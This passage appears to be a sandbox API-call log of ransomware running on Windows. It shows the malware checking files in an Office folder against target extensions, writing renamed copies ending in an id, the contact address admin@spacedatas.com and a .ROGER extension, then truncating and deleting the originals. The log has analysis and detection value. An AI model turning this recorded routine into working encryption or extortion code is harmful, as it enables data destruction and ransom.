lstrlenW (lpString=".zip") returned 4 [0061.535] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString=".rar") returned 4 [0061.535] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString=".bz2") returned 4 [0061.535] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0061.535] lstrlenW (lpString=".7z") returned 3 [0061.535] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] lstrlenW (lpString=".dbf") returned 4 [0061.535] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] lstrlenW (lpString=".1cd") returned 4 [0061.535] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] lstrlenW (lpString=".jpg") returned 4 [0061.535] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0061.536] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.536] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0061.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.536] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=24976) returned 1 [0061.536] CloseHandle (hObject=0x34c) returned 1 [0061.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0061.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.537] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.537] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.537] GetLastError () returned 0x0 [0061.537] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x6190, lpOverlapped=0x0) returned 1 [0061.539] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0061.540] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.540] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.540] SetEndOfFile (hFile=0x3a4) returned 1 [0061.540] CloseHandle (hObject=0x3a4) returned 1 [0061.541] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.541] SetEndOfFile (hFile=0x34c) returned 1 [0061.541] CloseHandle (hObject=0x34c) returned 1 [0061.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 1 [0061.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.542] lstrlenW (lpString=".doc") returned 4 [0061.542] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString=".docx") returned 5 [0061.542] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0061.542] lstrlenW (lpString=".pdf") returned 4 [0061.542] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString=".xls") returned 4 [0061.542] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString=".xlsx") returned 5 [0061.542] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0061.542] lstrlenW (lpString=".ppt") returned 4 [0061.542] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.542] lstrlenW (lpString=".zip") returned 4 [0061.542] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString=".rar") returned 4 [0061.542] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.542] lstrlenW (lpString=".bz2") returned 4 [0061.542] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.542] lstrlenW (lpString=".7z") returned 3 [0061.543] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".dbf") returned 4 [0061.543] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".1cd") returned 4 [0061.543] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".jpg") returned 4 [0061.543] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".doc") returned 4 [0061.543] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString=".docx") returned 5 [0061.543] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0061.543] lstrlenW (lpString=".pdf") returned 4 [0061.543] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString=".xls") returned 4 [0061.543] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString=".xlsx") returned 5 [0061.543] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0061.543] lstrlenW (lpString=".ppt") returned 4 [0061.543] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".zip") returned 4 [0061.543] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString=".rar") returned 4 [0061.543] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.543] lstrlenW (lpString=".bz2") returned 4 [0061.543] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.543] lstrlenW (lpString=".7z") returned 3 [0061.543] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.543] lstrlenW (lpString=".dbf") returned 4 [0061.544] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.544] lstrlenW (lpString=".1cd") returned 4 [0061.544] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0061.544] lstrlenW (lpString=".jpg") returned 4 [0061.544] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.544] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0061.544] lstrlenW (lpString="Oarpmany.exe") returned 12 [0061.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.545] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=232840) returned 1 [0061.545] CloseHandle (hObject=0x34c) returned 1 [0061.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0061.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.545] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.545] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.546] GetLastError () returned 0x0 [0061.546] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x38d88, lpOverlapped=0x0) returned 1 [0061.551] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x38d90, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x38d90, lpOverlapped=0x0) returned 1 [0061.554] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.554] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.554] SetEndOfFile (hFile=0x3a4) returned 1 [0061.555] CloseHandle (hObject=0x3a4) returned 1 [0061.555] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.555] SetEndOfFile (hFile=0x34c) returned 1 [0061.557] CloseHandle (hObject=0x34c) returned 1 [0061.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.557] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 1 [0061.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.557] lstrlenW (lpString=".doc") returned 4 [0061.557] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.557] lstrlenW (lpString=".docx") returned 5 [0061.557] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0061.557] lstrlenW (lpString=".pdf") returned 4 [0061.557] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.557] lstrlenW (lpString=".xls") returned 4 [0061.557] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.557] lstrlenW (lpString=".xlsx") returned 5 [0061.557] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0061.557] lstrlenW (lpString=".ppt") returned 4 [0061.558] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString=".zip") returned 4 [0061.558] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString=".rar") returned 4 [0061.558] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString=".bz2") returned 4 [0061.558] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.558] lstrlenW (lpString=".7z") returned 3 [0061.558] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString=".dbf") returned 4 [0061.558] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString=".1cd") returned 4 [0061.558] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString=".jpg") returned 4 [0061.558] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.558] lstrlenW (lpString=".doc") returned 4 [0061.558] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.558] lstrlenW (lpString=".docx") returned 5 [0061.558] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0061.558] lstrlenW (lpString=".pdf") returned 4 [0061.558] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString=".xls") returned 4 [0061.558] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString=".xlsx") returned 5 [0061.558] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0061.558] lstrlenW (lpString=".ppt") returned 4 [0061.558] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.559] lstrlenW (lpString=".zip") returned 4 [0061.559] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.559] lstrlenW (lpString=".rar") returned 4 [0061.559] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.559] lstrlenW (lpString=".bz2") returned 4 [0061.559] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.559] lstrlenW (lpString=".7z") returned 3 [0061.559] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.559] lstrlenW (lpString=".dbf") returned 4 [0061.559] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.559] lstrlenW (lpString=".1cd") returned 4 [0061.559] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0061.559] lstrlenW (lpString=".jpg") returned 4 [0061.559] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.559] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.559] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0061.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.517] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=30056) returned 1 [0062.517] CloseHandle (hObject=0x32c) returned 1 [0062.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0062.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.517] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.517] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0062.518] GetLastError () returned 0x0 [0062.518] ReadFile (in: hFile=0x32c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x7568, lpOverlapped=0x0) returned 1 [0062.597] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x7570, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x7570, lpOverlapped=0x0) returned 1 [0062.928] ReadFile (in: hFile=0x32c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.929] WriteFile (in: hFile=0x3dc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.929] SetEndOfFile (hFile=0x3dc) returned 1 [0062.930] CloseHandle (hObject=0x3dc) returned 1 [0062.932] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.932] SetEndOfFile (hFile=0x32c) returned 1 [0062.934] CloseHandle (hObject=0x32c) returned 1 [0062.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 1 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.935] lstrlenW (lpString=".doc") returned 4 [0062.935] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString=".docx") returned 5 [0062.935] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0062.935] lstrlenW (lpString=".pdf") returned 4 [0062.935] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString=".xls") returned 4 [0062.935] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString=".xlsx") returned 5 [0062.935] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0062.935] lstrlenW (lpString=".ppt") returned 4 [0062.935] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.935] lstrlenW (lpString=".zip") returned 4 [0062.935] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString=".rar") returned 4 [0062.935] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.935] lstrlenW (lpString=".bz2") returned 4 [0062.935] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.935] lstrlenW (lpString=".7z") returned 3 [0062.935] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.935] lstrlenW (lpString=".dbf") returned 4 [0062.935] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.935] lstrlenW (lpString=".1cd") returned 4 [0062.935] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.936] lstrlenW (lpString=".jpg") returned 4 [0062.936] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.936] lstrlenW (lpString=".doc") returned 4 [0062.936] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.936] lstrlenW (lpString=".docx") returned 5 [0062.936] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0062.936] lstrlenW (lpString=".pdf") returned 4 [0062.936] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.937] lstrlenW (lpString=".xls") returned 4 [0062.938] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.938] lstrlenW (lpString=".xlsx") returned 5 [0062.938] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0062.938] lstrlenW (lpString=".ppt") returned 4 [0062.938] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.938] lstrlenW (lpString=".zip") returned 4 [0062.939] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.939] lstrlenW (lpString=".rar") returned 4 [0062.940] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.940] lstrlenW (lpString=".bz2") returned 4 [0062.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.943] lstrlenW (lpString=".7z") returned 3 [0062.943] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.943] lstrlenW (lpString=".dbf") returned 4 [0062.943] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0062.943] lstrlenW (lpString=".1cd") returned 4 